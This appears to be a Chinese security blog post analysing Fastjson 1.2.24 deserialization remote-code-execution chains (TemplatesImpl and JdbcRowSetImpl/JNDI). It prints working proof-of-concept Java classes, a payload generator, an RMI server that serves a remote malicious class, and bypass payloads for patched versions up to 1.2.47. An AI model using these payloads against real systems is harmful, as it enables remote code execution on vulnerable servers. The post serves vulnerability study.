Yoga7xm's Blog

Fastjson 反序列化漏洞简析

字数统计: 2.4k阅读时长: 10 min
2019/07/20 Share

Fastjson是由阿里开发的JSON库,据说是最快的JSON库

传送门:https://github.com/alibaba/fastjson

环境搭建

  • 环境:fastjson1.2.24+tomcat8.5+jdk 1.8.0_102

  • war包地址:传送门

下载war包之后,首先利用tomcat部署完成解压,然后在IDEA中导入解压后的文件夹,配置外部的lib路径和Tomcat,运行即可

TemplatesImpl 链

Fastjson通过bytecodes传入base64编码的恶意类字节码,自动调用getoutputProperties(),而且会实例化传入的恶意类,调用其构造方法,达到RCE

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc extends AbstractTranslet {

public Poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

本地编译后得到class文件,然后利用py进行base64编码

1
2
3
4
5
6
7
8
import base64

fin = open(r"Poc.class","rb")
byte = fin.read()
fout = base64.b64encode(byte)
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout

print poc

拿到payload之后直接post提交即可

调用栈

反序列化流程

通过调用栈来逐一分析,首先是在JSON.java中并调用parseObject()

1
2
3
public static <T> T parseObject(String json, Class<T> clazz, Feature... features) {
return (T) parseObject(json, (Type) clazz, ParserConfig.global, null, DEFAULT_PARSER_FEATURE, features);
}

进入该方法

使用parser.parseObject()来解析传入的数据,并进入下一处

这里调用derializer.deserialze对传入的JSON数据进行解析

1
2
3
if (type instanceof Class && type != Object.class && type != Serializable.class) {
return (T) parser.parseObject(type);
}

然后继续跟进,回到了parseObject()处理

在这个函数主体内,会完成对于JSON数据的解析处理。在for循环中,不断的取得JSON数据中的值,然后进入scanSymbol处理。在scanSymbol中,首先会遍历取出两个双引号之间的数据作为key。

然后经过循环处理之后,此时typeName就是POP链的入口类TemplatesImpl

往后就进入了parseField()中

getter的自动调用

JavaBeanInfo:build()中,有一个fastjson的特殊处理,针对只有getter函数没有setter函数的元素,会进入以下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
  • 函数名称大于等于4
  • 非静态函数
  • 函数名称以get开始,并且第四个字符为大写字母
  • 函数没有入参
  • 函数的返回类型满足如下之一
    • 继承自Collection
    • 继承自Map
    • AtomicBoolean
    • AtomicInteger
    • AtomicLong

我们来看getOutputProperties的声明

1
public synchronized Properties getOutputProperties() {}

返回类型是继承于Hashtable的Properties,巧的是Properties又是implements Map,所以可以通过判断。

在parseField()中会调用一个smartMatch(),会把传入的字段的_去空,所以得到outputProperties,并且通过判断自动调用getOutputProperties()

Base64的自动解码

1
2
3
4
5
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}

传入的_bytecodes为base64编码类型的数组时,fastjson会调用bytesValue()

1
2
3
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}

实现base64解码

POP链攻击分析

直接断点到类TemplatesImpl的getOutputProperties()

直接就调用了newTransformer(),F7跟进看看

首先调用了getTransletInstance(),然后实例化了一个TransformerImpl对象,跟进方法

这里不能满足_name=null,所以需要给其赋值。由于payload中并未给_class赋值,所以满足判断语句并调用defineTransletClasses(),跟进

这里loader.defineClass()是将传入的字节码文件经过字节数组流解析生成一个类org.lain.poc.TemplatesImpl.EvilObject,然后循环结束后回到getTransletInstance()中

1
2
3
4
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

此时调用newInstance(),实例化刚刚生成的类。所以只要恶意类继承自AbstractTranslet,就能执行构造函数,完成RCE

POP攻击链

1
getOutputProperties() -> newTransformer() -> getTransletInstance() -> AbstractTranslet.newInstance() -> Runtime.exec()

利用条件限制

  1. Fastjson版本为1.2.22~1.2.24之间
  2. 由于_bytecode没有对应的getter和setter函数,因此需要设置Feature.SupportNonPublicField
  3. 如果受害机器使用了JSON.parseObject(),那么第二个参数必须得和TemplatesImpl匹配的类(存在继承或者转换关系),不然就会报错而不进行反序列化操作

JdbcRowSetImpl 链

POC

在本地先起一个RMI服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.yoga.fastjson;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
public static void main(String[] args){

try{
Registry registry;
registry = LocateRegistry.createRegistry(9000);

//通过rmi服务先找org.lain.poc.jndi.EvilObjectFactory,若无,则会去factoryLocation寻找EvilObject类
Reference reference = new Reference("Exploit",
"Exploit","http://localhost:8088/");

//绑定, 客户端通过exploit来访问
registry.bind("exploit",new ReferenceWrapper(reference));
System.out.println("Waiting for connection.....");

}catch (Exception e){
e.printStackTrace();
}
}
}

Exploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit exp = new Exploit();
}
}

然后编译为.class文件,然后在本目录下利用python起一个http服务。然后发送payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}

POP链攻击分析

因为传入autoCommit=true,所以反序列化时会自动调用setter方法,直接在JdbcRowSetImpl的setAutoCommit()处断点

此处conn默认为null值,所以调用connect(),跟进方法

首先会调用getDataSourceName()进行判断,所以跟进

1
2
3
public String getDataSourceName() {
return dataSource;
}

此处直接返回传入的dataSourceName,也就是rmi地址。回到connect(),直接就调用lookup()导致jndi注入

POP利用链

1
setAutoCommit() -> connect() -> lookup()

流量分析

攻击过程:

  1. 攻击者向被攻击者发送payload
  2. 受害者服务器解析并反序列化payload之后,通过jndi接口连接攻击者指定的rmi服务器
  3. rmi服务器通过请求并返回对象
  4. 受害者服务器收到对象后,检查本地是否存在;发现不存在,于是向攻击者提供的远程http地址请求恶意的class文件
  5. 攻击者的web服务器返回class文件,受害者服务器加载进入内存,实例化的时候执行构造函数成功执行命令

利用条件限制

  • Fastjson版本不超过1.2.24
  • 如果受害机器使用了JSON.parseObject(),那么第二个参数必须得和JdbcRowSetImpl匹配的类(存在继承或者转换关系),不然就会报错而不进行反序列化操作

补丁及Bypass

在1.2.25版本中,添加了一个checkAutoType()

使用白名单和黑名单的方式来限制反序列化的类。

默认开启白名单,只有当白名单关闭的时候才会黑名单判断,所以以后被绕过的都是得在白名单关闭的时候

1.2.25~1.2.41

增加黑名单判断

Bypass

loadClass时会移除开头的L和结尾的;

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";

1.2.42

会先将开头的L和结尾的;移除再进行黑名单判断

Bypass

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";

1.2.43的补丁

遇到LL开头的typeName直接抛出异常退出….

1.2.25~1.2.45 ibatis

绕过黑名单的方式

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.12~1.2.47

POC

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:9000/exploit",
"autoCommit":true
}
}

传入的第一个@type的类为java.lang.Class,不在黑名单之内,所以可以通过checkAutoType()判断。之后进入derserialze()中解析数据

然后调用DefaultJSONParser:parser()将获取的恶意类传给objVal

并且经过一系列的判断,最后当clazz为java.lang.Class,会去调用loadClass()加载恶意类。继续跟进

进入loadClass(),首先会将传入的className开头的[、L和结尾的;去掉,然后进入if判断,这里的cache默认传入的为true,所以将恶意类put进mapping中。然后再次回到checkAutoType()中

先是从mapping中取出typeName赋给clazz,此时clazz不为空,就能通过后面的if判断直接将恶意类返回,至此成功绕过了黑白名单限制。后面过程就与之前的链一致

1.2.48 补丁

将loadClass()中默认cache值改为false

Reference

https://www.freebuf.com/vuls/208339.html

https://meizjm3i.github.io/2019/06/05/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90%E6%B5%81%E7%A8%8B/

https://mp.weixin.qq.com/s/0a5krhX-V_yCkz-zDN5kGg

https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf

[http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)

[http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/](http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析/)

CATALOG
  1. 1. 环境搭建
  2. 2. TemplatesImpl 链
    1. 2.1. POC
    2. 2.2. 调用栈
    3. 2.3. 反序列化流程
    4. 2.4. getter的自动调用
    5. 2.5. Base64的自动解码
    6. 2.6. POP链攻击分析
    7. 2.7. 利用条件限制
  3. 3. JdbcRowSetImpl 链
    1. 3.1. POC
    2. 3.2. POP链攻击分析
    3. 3.3. 流量分析
    4. 3.4. 利用条件限制
  4. 4. 补丁及Bypass
    1. 4.1. 1.2.25~1.2.41
    2. 4.2. 1.2.42
    3. 4.3. 1.2.25~1.2.45 ibatis
    4. 4.4. 1.2.12~1.2.47
  5. 5. Reference